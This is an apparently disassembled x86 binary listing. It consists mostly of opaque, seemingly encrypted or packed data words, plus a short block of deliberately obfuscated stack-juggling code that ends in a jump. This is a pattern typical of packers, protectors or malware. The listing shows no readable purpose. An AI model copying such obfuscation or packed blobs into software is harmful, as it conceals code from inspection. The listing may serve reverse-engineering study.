		dd 0A4B71AB4h, 0D5B122DEh, 0EABADB56h, 14B23256h, 95FEC3E6h
		dd 0A110AE9Fh, 0AF383D22h, 0ABB13256h, 0A358FB65h, 0FDB13256h
		dd 403FCB8Ah, 800A4E99h, 53D1E965h, 5DB1325Dh, 9BEB14A8h
		dd 6F4BD2Eh, 5223F652h,	29ECBB37h, 7E0BB9AEh, 7AB71ACFh
		dd 0BAB122DFh, 5DBADB56h, 3F473256h, 0F4B7AFAEh, 64DA3E85h
		dd 0D58EB161h, 0E80BB659h
		dd 0FABE3256h, 0BAB1325Ah, 5DB135BFh, 0E8EDA356h, 5BF4927Dh
		dd 0A44E0DD5h, 0D5B10DD3h, 0EABEDB56h, 0D34C3256h, 0EA93EF5Bh
		dd 0AE2D0103h, 0C62A2036h, 4376B1A9h, 0ABB123BFh, 1F3E6556h
		dd 0A4E9586Fh, 723522EAh, 815F0D62h, 0F75804F5h, 0A14ECDA9h
		dd 57B135D3h, 0AA3C3D56h, 29B13256h, 0EAB54DD5h, 75F0B659h
		dd 0AA583256h, 71B13256h, 0EAFC6E50h, 4CCB0A9Dh, 3402C294h
		dd 56334F66h, 0E5B13E29h, 75B110D2h, 0F258CA56h, 52B13256h
		dd 0AEB124D3h, 57A0DB56h, 0DE23256h, 0F0E0E65Dh, 0C321FC01h
		dd 53FD95BCh, 4563559Eh, 0DDBECE13h, 0AEB13257h, 4376B1AFh
		dd 64063D36h, 505EB330h, 0DC5853DFh, 7A4ECDA9h,	0BAB138DDh
		dd 0AD305256h, 9A4505C9h, 0D4D0C3DCh, 0A4B42229h, 0D5B143D2h
		dd 55BE5256h, 14348684h, 0BCA14DD5h, 5D06B759h,	0BE583256h
		dd 6BB13256h, 0E502C37Ah, 0EE032C73h, 9292601h,	34ED1B4Ch
		dd 0BC3D3D36h, 52B13256h, 0AEB132D7h, 116EB256h, 0AFF6B937h
		dd 0D5B13CBFh, 81178156h, 1A8A93Fh, 2FAA3126h, 0D6764DA2h
		dd 2BBE3E09h, 57B1325Dh, 0F4085436h, 3430543Ch,	3D07723h
		dd 75B13345h, 0BAB137BFh, 88DB6656h, 0E93A6600h, 83AC752h
		dd 9203525Ah, 0D5B122BFh, 76A0E656h, 0A901643Fh, 62B96937h
		dd 478697D9h, 665853C3h, 37B13256h, 0ABB122BEh,	0F46FBD56h
		dd 0A8BEC40Ah, 0F4D37D58h, 0D2471D80h, 5DA0DBE6h, 0C393256h
		dd 2BBE62CAh, 0AC1DE32Dh, 0D7FAEFFAh, 0B5D953DDh, 146EB930h
		dd 0BEF6B9AFh, 0B5305436h, 0A159D17Ah, 10B13256h, 0B93C50F5h
		dd 29F51290h, 0FCB509DFh, 280E9A68h, 0E38D5D11h, 51EEB937h
		dd 0AEB9B559h, 0D5BE3256h, 0ABB13254h, 8A9A5336h, 0EABADB52h
		dd 0A5E23256h, 14091FD9h, 1659BC51h, 0AB5AB179h, 57A7B959h
		dd 0BA583256h, 0DCB13256h, 8F2DDF8Fh, 0F7D63CBh, 0B045A851h
		dd 0A76691FCh, 0AEB6BB59h, 0D5BE3256h, 0ABB13257h, 0C5CEB1AAh
		dd 0F2343D55h, 80B13256h, 5D75217h, 55598A4Ah, 80B13256h
		dd 0D8EDDA7Fh, 0F93E3DAFh, 0FED06A0Eh, 0EAA5DB8Fh, 0AC953256h
		dd 7B9CBC64h, 17109041h, 4C7B2C3Bh, 0E699ACABh,	2248F898h
		dd 20B0330Ah, 154ECDEEh, 75A1DBA9h, 25EC3256h, 24F9836Ch
		dd 80CCD627h, 0C0AB595h, 2BD1B4DCh, 53BED091h, 0EAB13253h
		dd 0BFA222E8h, 0BF08534Bh, 0B4B13256h, 0AEB1325Ah, 5F67C229h
		dd 0BAB3FB9Bh, 1070B9F4h, 55D199A5h, 60D5052Fh,	0BAB1B359h
		dd 0B4D03256h, 514ECF1Fh, 57B7B559h, 20D13256h,	0B4D0528Eh
		dd 55BE5237h, 633E3D9Fh, 52B13256h, 5DB13246h, 233D9992h
		dd 36902F5Ah, 0E294B970h, 0F488410Fh, 0AF3A530Eh, 72363DAAh
		dd 0DAB13256h, 0D7628D59h, 0CE7853B7h, 9F3054AFh, 68D06A6Dh
		dd 0D5B13ABFh, 0AEA6D156h, 5DE68D03h, 0AE586276h, 9B13256h
		dd 0F464EFDh, 0DDDE9953h, 8BB1DC34h, 3C92C068h,	0BBF6F32Bh
		dd 75B120BFh, 38A2ED56h, 10977907h, 2C07CCA0h, 816FD880h
		dd 0F8860F48h, 0D5B134BFh, 0A1247256h, 9C64676Ch, 0BAB13246h
		dd 8C7C32A7h, 506EE0D8h, 47BAB0ABh, 0D94E902Bh,	0D5B132BEh
		dd 306856h, 7399D44Fh, 0BAA5DBAAh, 4D563256h, 0FD73960Fh
		dd 0E1ACD95Ah, 680763B1h, 890F319h, 0E2585178h,	70B13256h
		dd 780F3173h, 0D070EB23h, 862B4FCCh, 433E3D50h,	42B13256h
		dd 0D5B13259h, 0C0CE538Eh, 6693AC21h, 96BA6CA1h, 0E5EA5E80h
		dd 0AEB13232h, 52FDDAAEh, 0AC583256h, 7AB13256h, 80BFA55h
		dd 7E3AD35Bh, 0BAB121BFh, 0EBE82056h, 6A09812Dh, 16809650h
		dd 0D3920134h, 8672282Bh, 0BDD1F36Dh, 0D15AB330h, 0DB496C1Fh
		dd 5DB1A0BFh, 0E5B2C756h, 57BADB52h, 0A83E3256h, 56CA54BEh
		dd 7A2A2833h, 7A70098Ah, 0BAB194D4h, 5C3D3D56h,	52B13256h
		dd 0ABA17955h, 0ABB126BFh, 0EF07D456h, 9B5CFEC4h, 0F6BB0D66h
		dd 0DC71383Ch, 58448D95h, 0A17009F1h, 57B115D4h, 0ABBADB56h
		dd 0B01F3256h, 7F792611h, 8F31ADD5h, 0BA92DB14h, 50583256h
		dd 7FB13256h, 95375E45h, 59BE143Bh, 0BB03713Ch,	0EAB14EBFh
		dd 0FED75256h, 0D60B6585h, 5F4B324h, 0AEDADB37h, 0D6BE3256h
		dd 0ABB13251h, 0D5B0BF59h, 67493256h, 5CDA2CCCh, 0BABDDB50h
		dd 36903256h, 73039294h, 223041F7h, 784EAEB0h, 0D5B7BB59h
		dd 61D13256h, 14EA63A5h, 0BAB106BFh, 853A5256h,	23D0CADDh
		dd 7EDF76CCh, 0A4595250h, 0ABB13256h, 0F243F70Ah, 0FFB18A79h
		dd 493796Bh, 58580B85h,	0CAB13256h, 0FAAFB456h,	0E008540Eh
		dd 64E5370h, 0E54969AFh, 75B12BD6h, 0BAA5DB56h,	3C83256h
		dd 9E57E303h, 65C785CCh, 731D4643h, 0A54D8FF5h,	8AE8972Dh
		dd 75B13BBEh, 0C8A59356h, 2A565E54h, 0F648E383h, 0AFE9CB37h
		dd 0CD74B836h, 325FFDD7h, 0F958F137h, 0B4B13256h, 9E1AEEA4h
		dd 4F7E9283h, 1C915656h, 0D657620Bh, 20BEDF24h,	0D5B13257h
		dd 0E75867A3h, 7DB13256h, 0BC0E4CB9h, 0F76293EBh, 230BC704h
		dd 4558DEDDh, 35B13256h, 284C49BEh, 34241709h, 0A2483539h
		dd 0F917A916h, 5DB1DA58h, 2FEB3256h, 7F5918BCh,	0AA353D50h
		dd 20B13256h, 8CD152A3h, 15226FEDh, 0BAB137BEh,	2DE39556h
		dd 46E96F27h, 57B13259h, 579FFEB3h, 2B24770Dh, 3393EE8Dh
		dd 2EE59006h, 3C5337h, 5B99A82Bh, 0AEB13DBFh, 0AEAE3B56h
		dd 9DA931A9h, 0E703AD33h, 0FC08DDCFh, 9CB977DDh, 0BAB13253h
		dd 980C302Bh, 0A1B6BB1Fh, 57B135DDh, 0AA373D56h, 2CB13256h
		dd 3BD77DDh, 75B1325Fh,	34BDEEh, 7999096Bh, 0AAF6BBA6h
		dd 57BCB159h, 2AD13256h, 0DF0AF4B4h, 0BE748C1Ch, 0FED065D9h
		dd 53D12213h, 5DB1325Dh, 5278FD6Bh, 601A3F8Ah, 42E26206h
		dd 0D5B13242h, 2A1845CDh, 0BE735E59h, 4A238458h, 580FCE35h
		dd 0E01D3064h, 5BF6BB37h, 0ABBFBA59h, 54D13256h, 0BB28B1A4h
		dd 75393D1Bh, 0DBB13256h, 0A5A577DDh, 0BEF6BBA3h, 0BED0CBAAh
		dd 0ABB1325Eh, 0CC516531h, 88C07DA5h, 79343D9Fh, 0B5B13256h
		dd 5DB134D4h, 0AE303D56h, 95B13256h, 0CBD13246h, 0B36B8D59h
		dd 8BBE15ECh, 75353D05h, 0E4B13256h, 3BD15237h,	0CF00DDEDh
		dd 64B8B790h, 0A4F63474h, 0D5B135D6h, 0EB323D56h, 8CB13256h
		dd 0ADC2283Eh, 5DBFDBFEh, 0A7C23256h, 139860A0h, 17653A21h
		dd 567A9F00h, 0BC6BB236h, 0C04E53AFh, 0BC93141Fh, 5DAFB359h
		dd 0FED13256h, 57A5DA0Eh, 0C8BB3256h, 62329F88h, 163E0BBFh
		dd 6876047Ch, 8E5A57ECh, 3CEAB1E5h, 0D30FB7DBh,	0D7D13473h
		dd 26BE1BA0h, 0D5B13253h, 69FBE6ECh, 0A54E5369h, 0BAB13BBFh
		dd 0DA8DC656h, 82C3343Ch, 0BED15C99h, 0ABB13247h, 3FE8ACEAh
		dd 0FF02F4E1h, 0CC8F3B7Dh, 1E9E06A1h, 3DE3539Eh, 0AEB13BBEh
		dd 4B30DA56h, 31937D98h, 6CD78717h, 5FEAD03Bh, 0F3BE5325h
		dd 0BAB13257h, 493BBFAFh, 0A1B71ACAh, 57B128D3h, 0BF323D56h
		dd 3CB13256h, 0EAB13259h, 397B9A09h, 25D2332Dh,	57DA9BF6h
		dd 0FFB207B1h, 3B52B336h, 0CAB49DCDh, 0B3D1E2A9h, 13AC58EEh
		dd 8DEBCB37h, 26A5B0DBh, 5248347Eh, 47BD72E1h, 57B13246h
		dd 0E65E1F32h, 0A0BABFF3h, 68A712FEh, 92B02520h, 0BABDB759h
		dd 5A583256h, 73B13256h, 0F4318C87h, 733A4833h,	0D5B0B759h
		dd 0B8493256h, 75B0B659h, 0B5493256h, 0A1EBC767h, 2ABEF155h
		dd 57B1325Bh, 63305436h, 373047EEh, 0F188AA0Bh,	4C33BB37h
		dd 46B71056h, 3D72CE37h, 32B58930h, 0DF0432EEh,	0E9516129h
		dd 0Ch,	4E223B3Fh
		dd 46D054C6h, 511B3F47h, 6E9h, 75B8AA00h, 529ED2C7h, 15C38060h
		dd 9E9h, 0A4AB5C00h, 640E6904h,	0F961D026h, 0E8h, 0EA815A00h
		dd 628EAE9h, 4880FF8h, 60000000h, 0F616160h, 0A85h, 5E900h
		dd 32690000h, 52CCDAFEh, 12E9h,	0BBA60300h, 820E1F68h
		dd 398DB3BEh, 9526A3ABh, 8B887451h, 22003982h, 108C0F06h
		dd 0E9000000h, 0Bh, 0EB80364Dh,	544725C1h, 0B9AF2B23h
		dd 41C64E6Dh, 0C8E0Fh, 7E90000h, 95000000h, 0BECEBD15h
		dd 0E1F7E9E7h, 0CF8B6660h, 66605A61h, 6663C0B8h, 61945CBBh
		dd 303905h, 0FF25F900h,	0F97FFFFFh, 398289F9h, 0E9062200h
		dd 0Ch,	933C80D1h, 17526C7Fh, 9DC7B63Dh, 0E959FC5Ah, 14h
		dd 0C92E63DAh, 2374422Dh, 33FA330Bh, 0E2ACF63Bh, 0BA8D1ABFh
		dd 10E9C3h, 0EB160000h,	0F856E10Fh, 263C05E8h, 65D40F38h
		dd 0F51BF45h, 189h, 6052FC00h, 128C0Fh,	0DE90000h, 28000000h
		dd 820C3CCBh, 126980C4h, 0CB7E636Ah, 0E8FC61h, 5A000000h
		dd 0EBE7EA81h, 80600628h, 870F5FEEh, 0Bh, 6E9h,	8B0DBC00h
		dd 61B3C3BAh, 14E9F8h, 1BEE0000h, 263751D6h, 0DBE55331h
		dd 74E24B7Dh, 0A5B9AC83h, 0C88B1031h, 0E8E0Fh, 9E90000h
		dd 0CA000000h, 54E352E0h, 1699AB9Fh, 0FFFE79E8h, 0D233F5FFh
		dd 12830Fh, 8F0F0000h, 0Ch, 7E9h, 0B2B82100h, 0FC9B0645h
		dd 8BFCF1F7h, 0E08160C2h, 46EE54D5h, 820F5A61h,	0Ah, 0E8816660h
		dd 0B70F2443h, 605961FFh, 2ADF8166h, 0C361FC91h, 0C0B70F60h
		dd 0FE9h, 0DA198900h, 6D8B6E6Dh, 0C9145695h, 3D104B1Bh
		dd 60C08B61h, 13E9h, 669F7900h,	90B2A570h, 946B632Dh, 999C219Eh
		dd 178D7A1h, 0FC08B61h,	186h, 858DF900h, 628B234h, 0FD0FFF8h
		dd 1B83h, 15870F00h, 0E9000000h, 10h, 0E9C3F8C7h, 948666DDh
		dd 1E04038Bh, 0A9B7C3h,	8800Fh,	8B0F0000h, 2, 8B666160h
		dd 10E9C1h, 6A4C0000h, 7913F1Dh, 267BDBBBh, 62973AFDh
		dd 858DC3B9h, 628EAB2h,	558589F5h, 0F9062216h, 0EBBE858Dh
		dd 8A0F0628h, 16h, 11E9h, 8681B200h, 0BB6707CDh, 0ACF5F4FBh
		dd 0D5DB7DEBh, 8589E95Dh, 6222819h, 382DBE60h, 0B866062Eh
		dd 606133A2h, 68D0Fh, 0D9810000h, 31AD719Bh, 0B861h, 8A0F0000h
		dd 12h,	0C860Fh, 7E90000h, 1D000000h, 835DB707h, 0C00B2767h
		dd 13F840Fh, 57600000h,	8D0Fh, 665B0000h, 5812D881h, 985C661h
		dd 56062233h, 0BF0F5760h, 8B6659C3h, 0DF6861DFh, 0FA9C530h
		dd 0E8Ch, 9E900h, 0D2DB0000h, 0E4CBF04Ah, 0FF11DE3Fh, 222649B5h
		dd 0F60F806h, 8Fh, 11BF6600h, 858D61BFh, 6257DBEh, 88A0Fh
		dd 880F0000h, 2, 0D0FF6160h, 11E9h, 48877A00h, 0EAE498FFh
		dd 4BA77F94h, 964B61ACh, 0F50CB99h, 0C85h, 6860F00h, 0F000000h
		dd 86h,	0D18D8D00h, 0E9062206h,	6, 0A33F5F77h, 0FC513FDAh
		dd 800F046Ah, 9, 66595660h, 888DC881h, 10006861h, 0F600000h
		dd 38Eh, 0CBBF0F00h, 6161F860h,	118DB5FFh, 14E90622h, 0CD000000h
		dd 75197A46h, 2E7BA36Eh, 0DFF83371h, 79A00FC4h,	0FF18C359h
		dd 0BD8BF8D0h, 622118Dh, 0DE9h,	556C5800h, 81234A37h, 0C691BC85h
		dd 7F03D0E5h, 0C781F93Ch, 0F8h,	0F830FF5h, 0E9000000h
		dd 0Ah,	0C13481D0h, 0B8D16F58h,	47C75142h, 2024h, 168C0F60h
		dd 0E9000000h, 11h, 3C8997E7h, 9D7BC8CAh, 0BE788E17h, 9F102E9h
		dd 0AD9D8DB4h, 60062210h, 6E9E58Ah, 0FD000000h,	189387ABh
		dd 38B61E6h, 188B0Fh, 880F0000h, 12h, 0DE9h, 56083900h
		dd 4535D941h, 0E796E1CFh, 0C00B8A71h, 1E840Fh, 8BF90000h
		dd 12E900h, 643D0000h, 2BA2718Fh, 0E8925E6Ch, 0CCB0665Fh
		dd 5DE26A0Bh, 0F8044389h, 234CF6B9h, 238D8D00h,	890628F0h
		dd 2233F18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 152F0BCFh, 0C19834Fh, 0BF0FB249h
		dd 0E58589D3h, 0C7062207h, 222D3185h, 5EB806h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0C607366Ah, 6A77C683h, 0CE9h, 0AD99E000h, 0E27565C4h
		dd 157FD26Eh, 907BADFh,	85C73C8Ah, 62230E5h, 0
		dd 0C8A0Fh, 8B600000h, 22318D95h, 45B96606h, 0B5FF61C2h
		dd 622140Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	43C35141h, 0BE6324A9h, 42AFB398h, 10E9h, 4140300h
		dd 39386059h, 0E88A7D68h, 0C7FC5AA7h, 6595FF33h, 6A062220h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 12ADC357h, 0B6A0A626h, 95FF006Ah,	6223075h
		dd 58EBC08Bh, 0B556D4EAh, 0B6CE257Eh, 0DA8EE952h, 6167CBCh
		dd 287E6E96h, 4961BA91h, 1024C83Dh, 0BF0755FCh,	0BBF471E9h
		dd 0D92B85B6h, 17E79EFh, 0B19B4188h, 4A4C8BFFh,	8E3F942Ah
		dd 76EF70D0h, 2A458E1Ah, 930C5B65h, 4F77914Fh, 6FB759D5h
		dd 0B2BB8066h, 28758B56h, 0C9D18EEEh, 7E8h, 0A93C1600h
		dd 1139832Fh, 0EE9h, 51FC2C00h,	25624BFDh, 0B029467Ah
		dd 5A25CFC9h, 2C8DB589h, 0C2810622h, 59A6h, 1B719D89h
		dd 43BE0622h, 60000016h, 3159858Bh, 8B610622h, 6800F3Ah
		dd 2B000000h, 2226618Dh, 0ADF78106h, 532E464Eh,	5BBBD880h
		dd 5373EF81h, 8D3117F7h, 62202A5h, 7FCDF781h, 0B9525E04h
		dd 69428487h, 81665758h, 8F23B3E0h, 9958902h, 8106221Dh
		dd 883FB9EAh, 0B9952914h, 81062232h, 883FB5C2h,	419D8B14h
		dd 4E062201h, 0FFA1850Fh, 89B9FFFFh, 8D58C372h,	28F1F28Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 45DCB42Dh, 0C1BE2080h, 8D892782h, 62233F1h
		dd 0A5E88166h, 3185C783h, 6406222Dh, 0BB00005Ah, 55C4BB69h
		dd 0D8B70F52h, 0E585C75Eh, 62230h, 80000000h, 0F48002E7h
		dd 4DB5FF18h, 6A06222Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 2981C353h, 0A8AA4129h
		dd 0E8CDA16Fh, 0FD7BF0Fh, 68Eh,	95858B00h, 0FF062221h
		dd 22206595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 2E12E538h, 29D36FAAh, 220545BDh
		dd 0B5B53106h, 6A062224h, 7595FF00h, 8B062230h,	0B26BEBC0h
		dd 7D447F7Bh, 0B4887ECEh, 19F38389h, 0BDCFD19Ch, 0E7135270h
		dd 0A6C600A4h, 8E0B9040h, 25C7CE24h, 6EA3F34Dh,	79184C21h
		dd 31006521h, 4771065h,	0D8E7F712h, 0D73B3254h,	0E56BD222h
		dd 0C46238A3h, 0F2B08CE0h, 25BADD55h, 4FA80AC2h, 3D5CD6DCh
		dd 786CCD7Dh, 4D88FDFCh, 88AB5018h, 5C0CF6DBh, 2BBDA0F3h
		dd 46113E31h, 8D8D5AB6h, 628F339h, 34999D8Bh, 950B0622h
		dd 6221F55h, 33F18D89h,	0DF810622h, 13BF24F4h, 2D3185C7h
		dd 657C0622h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 186FA9C3h, 13E8h, 0A4968C00h, 9DA11F41h
		dd 0A5D573B5h, 0C9FFFF45h, 6CDE004Ch, 2D398589h, 0C75B0622h
		dd 2230E585h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 77EA9987h, 0FFDEBF0Fh
		dd 221281B5h, 59BD0B06h, 0FF062210h, 22206595h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 2D105B09h, 669E99E3h, 0B40EF681h, 19C59533h,	6A0622h
		dd 307595FFh, 0C08B0622h, 0ABC02FEBh, 0D2E4C098h, 2B82DD2Dh
		dd 60EC430Ch, 75B66B95h, 33B97275h, 35C4FDA0h, 478EAC42h
		dd 7D564C37h, 42653B58h, 2E42EFFCh, 96952D5Ah, 10E873h
		dd 0DA740000h, 9FB6057Ah, 21F8CDDh, 0AA5AED17h,	858965D3h
		dd 6222489h, 14E85Eh, 0F9A20000h, 8B3862A4h, 0D43EAA47h
		dd 0DF4AAB5Ah, 3B9966E6h, 8B60B5F4h, 221B61BDh,	815F6106h
		dd 6692C6h, 1E85B900h, 686C6Ch,	0FC000000h, 3D8D8958h
		dd 0FF06221Dh, 0BF0F3034h, 0D7815BFAh, 5DA9010Ah, 2520C381h
		dd 9D891FB4h, 6220F21h,	4BD2EB81h, 0FBB17CBAh, 7E11EB81h
		dd 0BD337591h, 6222A11h, 6048F53h, 0DC3203B9h, 9E94Fh
		dd 0DE2A0000h, 3EEAB696h, 810E9114h, 0CFE182E8h, 0FABF0F67h
		dd 0E17EC081h, 950367CFh, 6222575h, 9A20F881h, 850FFFFFh
		dd 0FFFFFF9Bh, 6E8h, 280C2200h,	803F1F9Fh, 8B5A41C1h, 222FC19Dh
		dd 0CBC28106h, 3000068h, 22114DBDh, 1A12BE06h, 0BB660000h
		dd 32FFB0EAh, 85BD8B56h, 59062220h, 9E7EBB58h, 0C0814A28h
		dd 834ECF9h, 81C9BF0Fh,	41B236F0h, 0DE8B664Eh, 8F94C081h
		dd 50F55378h, 0AF0BBF66h, 8E8028Fh, 0AE000000h,	0BBD29258h
		dd 601AEFE4h, 860Fh, 0BB660000h, 5961FF87h, 8004EA83h
		dd 0EE8121F5h, 1, 0FFA4850Fh, 8D8BFFFFh, 6220571h, 0F54D8D8Dh
		dd 6A0628h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 1F4AEBC3h, 0D3D4FD30h, 8A61626Fh,	0F18D89D5h
		dd 66062233h, 8C17C881h, 2D3185C7h, 6C0C0622h, 0BD890000h
		dd 6221069h, 30E585C7h,	622h, 0B58B0000h, 622308Dh, 8E1BD0Bh
		dd 0B5FF0622h, 6221AB5h, 0FFDEE080h, 22206595h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 364F177h, 10A9858Bh,	6A0622h, 307595FFh, 0C08B0622h
		dd 0F3921BEBh, 0B314B01Eh, 0C4A39163h, 0A1E90F03h, 9AF91047h
		dd 0F1ABF736h, 2E96C670h, 8E966h, 80BD0000h, 5BB7h, 6CE90000h
		dd 68000004h, 628F661h,	0F98D5AE9h, 0F6C568FFh,	50E90628h
		dd 68FFF98Dh, 628F841h,	0F98D46E9h, 98A3EAFFh, 0C3B4071h
		dd 74D3BCE5h, 0DA65141Dh, 43008EB3h, 0D51EDE28h, 4E739AA9h
		dd 0BBE40F3Ch, 161B72CDh, 4BB2DD66h, 0CE2A7E2Eh, 0BCF4112h
		dd 3807771Bh, 0D9A1EEEBh, 84F4396Ah, 1D2478BBh,	5BBDD46Fh
		dd 0F13E5BA8h, 6D6CB08Bh, 18376CBFh, 0F92A8149h, 183F1B2Bh
		dd 8794E541h, 0DB1A4BF8h, 153CBC85h, 4BD1D758h,	2C27Dh
		dd 0FCD3A500h, 7394DB88h, 0B6EA5926h, 28AEC9A3h, 8A874918h
		dd 2E1B3902h, 923DEF8Fh, 0A495FEE6h, 220760AFh,	4A9BA4D5h
		dd 0A853F52Bh, 954A9FB1h, 0DC97F526h, 99BA7297h, 7640B1FCh
		dd 0A7D52247h, 1764759Ch, 0E2A9E661h, 8AF23F65h, 0D0EC9B1h
		dd 1E2FEC0Fh, 2FD03h, 0DC671600h, 40FF8CB5h, 0A897F829h
		dd 1E295041h, 87C4CAF7h, 115A1A6Ch, 8AB7DE6Dh, 0E7284300h
		dd 525FB691h, 0FF6112Ah, 0CD66B26Ah, 0C78B4112h, 64AB585Fh
		dd 660F6903h, 8B224922h, 0EE5D216Eh, 57F49A87h,	99DB7606h
		dd 503C975Bh, 65B695F9h, 0F6B6BD46h, 0EF05C9F4h, 8677DAACh
		dd 0D9EAF5B2h, 29946h, 70CBB200h, 0E4632819h, 4CFB848Dh
		dd 0B28DFC25h, 1B28565Bh, 0BDF6F6F0h, 161B72D1h, 838CE764h
		dd 0FE234AF5h, 935AB58Eh, 0CD0256C6h, 23F74112h, 64AB58C3h
		dd 660F6903h, 0BDFA4922h, 22172D1h, 0BE6E63DEh,	4112CE6Ah
		dd 0CEB5C557h, 55584112h, 5D8EC1ECh, 12CE7F8Fh,	0A0D88141h
		dd 0CAE2F469h, 1A1C14Bh, 8FF40000h, 12C6CD1Dh, 9EA9D041h
		dd 9A112E4Dh, 577AE46h,	0B8C4E93Ah, 5F14648Fh, 0D835A8AAh
		dd 0B7F65C98h, 0B344552h, 14459BDAh, 18A6AB98h,	0EC317C49h
		dd 0CD531EE7h, 0E0CC089Bh, 0EDDAEABCh, 0BD244118h, 159143Bh
		dd 4A7C4BD1h, 17000000h, 87D46F1Ah, 0E5241F6Ah,	0AB58E7BFh
		dd 89F60364h, 164A69BAh, 412629C3h, 0A4174918h,	77051277h
		dd 4B8AB9C2h, 31237315h, 4A3E4118h
		dd 8FACF1h, 5AD71243h, 0C972061Eh, 0A265984h, 6BE6294Fh
		dd 4E4BD1D1h, 0C7h, 3A0577D4h, 1587ECE9h, 473A3BC5h, 125F8528h
		dd 618EDF6Ch, 0E2C7201Bh, 3A3BFE0Ah, 0AE99E347h, 0AA013E7Dh
		dd 0E5325776h, 4970AC97h, 3A4EDE43h, 0DF473A3Bh, 5DE693DCh
		dd 0A9E6F31Ah, 603A66E5h, 473A378Eh, 0C72E1963h, 6CD7A5F2h
		dd 0E62D2630h, 0BDEB5C81h, 76CE4774h, 454B0BE8h, 7454DAB8h
		dd 73449E28h, 0D0DD491Eh, 2C4F9CABh, 0FF8F8CEDh, 96F82940h
		dd 7A72C1A9h, 0AAFBF5B5h, 11D57h, 0FC473600h, 60DFAC95h
		dd 0C8771809h, 3E0970A1h, 0A7A4EAD7h, 317A7A4Ch, 0AA97FE4Dh
		dd 70863E0h, 72BFD671h,	2FD6310Ah, 0C386D24Ah, 0A76B4112h
		dd 3807777Fh, 859CE0D1h, 15460188h, 3BF206D6h, 9427473Ah
		dd 77603A55h, 0C4E93A05h, 4DFA81B8h, 739ADD18h,	0CC2D7261h
		dd 180BBF50h, 6C139049h, 3E7B9CDFh, 898F350h, 41186AE4h
		dd 4FA893F9h, 0DD0E3D42h, 1001429Eh, 9CABDF6Eh,	9BE32C4Fh
		dd 0FD3C7FACh, 9451A8h,	5FBD0000h, 9586E5E6h, 2A76078Eh
		dd 8BEC3320h, 22F6BB11h, 8B614649h, 4113BD7Fh, 0A2D61B92h
		dd 0EFCE7B99h, 300B71BEh, 9BA4E8D9h, 7783197Eh,	9A4113BDh
		dd 0ECB8CD13h, 0F5FB770Bh, 6ABB84F4h, 0DA0B3445h, 0F92D4BB6h
		dd 0A282E673h, 190661DAh, 0EE107273h, 0F721F780h, 3778BB88h
		dd 6ABBFA45h, 0EE0B3445h, 396AD9A1h, 973840DCh,	0DEDD24F3h
		dd 1024419Fh, 0BC050761h, 0FDF381BFh, 0CAF72D5Eh, 96E79C2h
		dd 96C7800Ch, 9CE00957h, 3EF72A3h, 57000000h, 67773CBh
		dd 0B9C3E83Dh, 68105D8Eh, 19618EDFh, 0CAB4F92Ah, 7B03287Dh
		dd 27529FCCh, 0DDA2CF1Ch, 8BF03D6Eh, 68696FBCh,	7CF8h
		dd 68241C89h, 516Dh
		db 89h,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		mov	ebx, 628F59Dh
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		dw 23F3h
		dd 692CD4B8h, 792B706h,	0B8A9F1A2h, 628F983h, 0E0FFC503h
		dd 3D25761Ah, 194C88Fh,	5F3F51D7h, 3B65806h, 18FA0E85h
		dd 58FE53FBh, 1713246Eh, 5C94CA09h, 2F0F0FBBh, 6F403FB5h
		dd 543FF9C1h, 3F1C934Fh, 1B0939FFh, 5E774F99h, 4BBA96F2h
		dd 54524B84h, 1AED9CD9h, 3883F6D2h, 48A89FF0h, 1D912A23h
		dd 240C25E7h, 1BE93AB4h, 764CBB6Eh, 5DC2FECh, 5748A0DDh
		dd 6A07BB0Bh, 517CDFA5h, 6E0CF3FBh, 707B044Eh, 1D369EFDh
		dd 0CE8h, 15F54F00h, 0FD1DB01Dh, 0DFEA313Fh, 58F0FC6h
		dd 0BB000000h, 26B4AB55h, 13E959h, 0F6960000h, 69DF891h
		dd 6B0CD3A3h, 27C437CFh, 7780D209h, 75C18174h, 8A000059h
		dd 0FF633C1h, 18Ch, 34FFF500h, 0BF66600Eh, 61FC45E5h, 99C2815Ah
		dd 812AEA70h, 0C4605ADBh, 3DEA8116h, 66764E59h,	0EA81DF8Bh
		dd 21AB4898h, 0AAA0BF66h, 66311489h, 880FDF8Bh,	1, 0B2EE81F8h
		dd 8A7D15A4h, 0AEC681F9h, 0F7D15A4h, 81h, 68FE8100h, 0FFFFFA7h
		dd 3B85h, 890F6000h, 6,	7402DE81h, 0BE820CEh, 6B000000h
		dd 12F17D59h, 2C033342h, 2ABEEAEEh, 5E09D701h, 20E961h
		dd 2DA50000h, 430D84E6h, 0AF816DFFh, 9F714218h,	0CF3F5BEEh
		dd 0E951E780h, 0FFFFFF66h, 0E523CE08h, 24E98FABh, 5C000000h
		dd 205B5Fh, 7 dup(0)
		dd 0E9000000h, 0B91h, 28FD2B68h, 52F7E906h, 2168FFFAh
